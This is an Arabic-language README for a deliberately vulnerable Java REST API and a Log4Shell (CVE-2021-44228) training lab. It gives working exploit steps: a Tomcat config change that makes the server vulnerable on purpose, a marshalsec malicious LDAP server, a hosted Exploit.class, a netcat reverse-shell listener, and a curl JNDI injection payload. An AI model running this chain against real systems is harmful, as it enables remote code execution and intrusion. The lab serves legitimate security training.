
# واجهة برمجية REST API ضعيفة مبنية على Java لعرض ثغرة CVE-2021-44228 (log4shell).
واجهة برمجة تطبيقات REST ضعيفة مبنية على Java لعرض ثغرة CVE-2021-44228 (log4shell).
اجتاحت ثغرة Log4Shell الإنترنت في أوائل ديسمبر 2021. ثغرة Zero Day في مكتبة تسجيل Apache Log4j، قادرة على تنفيذ الأكواد عن بُعد (RCE) مما جعل المؤسسات حول العالم تتسابق لإصلاح/ترقيع/تخفيف تطبيقات Java العامة لديها. بينما اجتمع مجتمع أمن المعلومات لتقديم تحليل مستمر وحلول لفرق الأمن، كان مجتمع Log4j مشغولاً بتطوير تصحيحات لضمان إنهاء هذه الثغرة.
لقد قمت بتطوير واجهة برمجة تطبيقات REST ضعيفة وبسيطة تعرض المسار إلى تنفيذ الأكواد عن بُعد (RCE) من خلال استغلال هذه الثغرة باستخدام خادم تطبيقات Apache Tomcat. آمل أن يُستخدم هذا المفهوم الإثباتي لتدريب فرق SecOps لديك أو لتثقيف مطوري التطبيقات الحاليين والمستقبليين. درّب فرقك وحسّن دفاعاتك، بما في ذلك على سبيل المثال لا الحصر، قواعد/تنبيهات SIEM، وأنظمة EDR، وأنظمة SOAR.
لفهم سير عمل هذا الهجوم، ألقِ نظرة على هذا الرسم البياني المقدم من فريق الاستجابة لطوارئ الحاسوب الحكومي السويسري GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
هذا البرنامج التعليمي والكود المصدري مقدمان لأغراض تعليمية وتدريبية فقط. يرجى استخدامهما بأخلاقية ومسؤولية. تم إعداد هذا البرنامج التعليمي على افتراض أن المهاجم والتطبيق الضعيف على نفس الحاسوب. لتجربة أكثر واقعية، وزّع البنية التحتية وشغّل التطبيق الضعيف على خادم خاص به واستخدم شيئاً مثل Kali Linux أو توزيعة أخرى لمحاكاة المهاجم.
لنبدأ.
بمجرد تثبيت Java JDK و Maven، وبافتراض أنك على توزيعة Linux، انتقل إلى مجلد vuln4japi الخاص بك وقم ببناء مشروعك.
ملاحظة: قد ترغب في تعديل بعض مكونات التطبيق قبل بنائه. على سبيل المثال، يمكنك تعديل المسار إلى سجلات log4j في ملف log4j2.xml. أو قد ترغب في تغيير اسم ملف war الناتج في ملف pom.xml. الأمر متروك لك تماماً.
cd /path/to/vuln4japi
mvn clean package -DskipTests
إذا لم ترَ أي أخطاء في البناء، يجب أن يكون لديك مجلد target تم إنشاؤه حديثاً مع ملف vuln4japi.war الخاص بك. حسناً، سنعود إلى هذا الملف بعد قليل. دعنا نلقي نظرة سريعة على Tomcat.
اعتماداً على إصدار Java 8 لديك، قد تكون الإصدارات الأحدث من 8 قد ضبطت هذا الإعداد المحدد (com.sun.jndi.ldap.object.trustURLCodebase) على false. هذا يمنع فعلياً JNDI من تحميل قاعدة أكواد عن بُعد عبر LDAP. وهذا هو ما تستغله هذه الثغرة. لذا، نحتاج إلى تعديل ملف catalina.properties الخاص بـ Tomcat لضبط هذا الإعداد على True، مما يجعل Tomcat ضعيفاً عمداً.
بمجرد تنزيل apache-tomcat-8.0.32.tar.gz لنظام Linux، قم بفك ضغطه في مكان مثل مجلد /opt.
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
انتقل إلى مجلد /conf وقم بتعديل catalina.properties في أسفل الملف.
ملاحظة: استخدم محرر النصوص المفضل لديك. أستخدم vim في هذا المثال.
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# أضف خصائص النظام التالية في النهاية تماماً
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
اخرج من محرر النصوص وابدأ تشغيل Tomcat باستخدام سكربت catalina.sh داخل مجلد /bin.
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
اختبر نسختك من Apache Tomcat بالانتقال إلى http://localhost:8080/ أو باستخدام أمر cURL بسيط من واجهة سطر الأوامر.
curl -vv http://localhost:8080/
إذا رأيت صفحة ترحيب في متصفحك أو طرفيتك، فهذا يعني أنه يعمل. الآن يمكننا نشر تطبيقنا الضعيف.
انسخ ملف .war الخاص بك إلى مجلد /webapps الخاص بـ Tomcat. سيقوم Tomcat بنشر تطبيقك تلقائياً في غضون ثوانٍ.
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
اختبر تطبيقك الضعيف بالانتقال إلى رابط التطبيق أو مرة أخرى باستخدام cURL من سطر الأوامر. على المتصفح: http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
يجب أن ترى الرسالة التالية معروضة، Hi, this is a Vulnerable App!!
الآن بعد أن أصبح لدينا بعض المكونات تعمل، دعنا نستغل هذا الشيء...
مشروع marshalsec هو مورد ممتاز لفهم هذا النوع من الهجمات بالتفصيل. بشكل أساسي، يعمل كخادم LDAP خبيث يقوم بعد ذلك بإعادة توجيه أي طلب إلى خادم ويب خبيث يستضيف ملف .class. أوصي بشدة بمراجعة بعض الوثائق المنشورة على مستودع mbechler على Github قبل استخدام marshalsec: https://github.com/mbechler/marshalsec
إذا قررت تخطي التفاصيل التقنية والوثائق، استنسخ ذلك المستودع وانتقل إليه. الآن، قبل بناء مشروع Java هذا، أوصي بإضافة سطر تصحيح أخطاء واحد في ملف LDAPRefServer.java. ستكون عبارة الطباعة هذه مفيدة عند التقاط استعلام LDAP من الخادم الضعيف.
باستخدام محرر النصوص المفضل لديك، قم بتحرير الملف التالي وأضف السطر كما هو موضح في كتلة الكود أدناه، في طريقة processSearchResult().
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// أضف هذا السطر لعرض معلومات الطلب الكاملة
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
بمجرد تعديل الملف، احفظ واخرج من محرر النصوص. الآن يجب أن تكون قادراً على بناء مشروع marshalsec باستخدام Maven. ارجع إلى المجلد الجذر لمجلد marshalsec ونفذ maven.
mvn clean package -DskipTests
إذا لم تكن هناك أخطاء في البناء، يجب أن ترى مجلد /marshalsec/target الذي تم إنشاؤه حديثاً مع ملف marshalsec-0.0.3-SNAPSHOT-all.jar المضمن.
دعنا نجهز بقية أدوات المهاجم قبل تنفيذ خادم LDAP الخبيث marshalsec الخاص بنا.
انتقل إلى مجلد exploitz وقم بتجميع ملف Exploit.java المضمن.
javac Exploit.java
إذا لم تحصل على أي أخطاء، يجب أن يكون لديك ملف Exploit.class.
هذا كل شيء. يجب أن يكون لديك كل ما تحتاجه مُجمّعاً وخادم الويب يعمل. مرة أخرى، بافتراض أنك تشغل هذا الاختبار على خادم Linux، ستحتاج إلى فتح 5 نوافذ طرفية على الأقل.
الطرفية 1: تشغيل marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
الطرفية 2: انتقل إلى مجلد xploitz حيث يوجد ملف Exploit.class الخاص بك وقم بتشغيل خادم Python محلي.
python3 -m http.server 8081
الطرفية 3: تابع ملف /tmp/logs/vuln4jpi_log4j.log الخاص بك لمتابعة الطلبات الموجهة إلى تطبيقك الضعيف.
tail -f /tmp/logs/vuln4japi_log4j.log
الطرفية 4: افتح مستمع netcat على المنفذ 8001. سيكون هذا اتصال الصدفة العكسية من نفس المضيف بالطبع. تذكر، نحن نفعل كل هذا على نفس المضيف. لتجربة واقعية، جرب استخدام حاسوبين أو ثلاثة مختلفة.
nc -lv 8001
الطرفية 5: أرسل حمولتك باستخدام أمر cURL بسيط.
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
إذا عمل كل شيء كما هو متوقع، يجب أن تحصل على صدفة مُمررة إلى مستمع netcat الخاص بك على المنفذ 8001. راجع جميع نوافذ الطرفية لديك ولاحظ السلوك في كل واحدة منها بحثاً عن أي أخطاء إملائية أو أخطاء في الصياغة. هناك الكثير مما يحدث هنا لذا الخطأ البشري وارد دائماً. جرب عدة مرات حتى تتقن الأمر. قد تضطر إلى تعديل الكود المصدري قليلاً، لكن مهلاً، هكذا نتعلم. ;-)
آمل أن تستمتع بالتعلم من هذا المشروع بقدر ما استمتعت أنا بتجميعه. تجدني على تويتر @offswitchsec إذا كان لديك أي ملاحظات أو تعليقات. استمتع وهابي هاكينغ!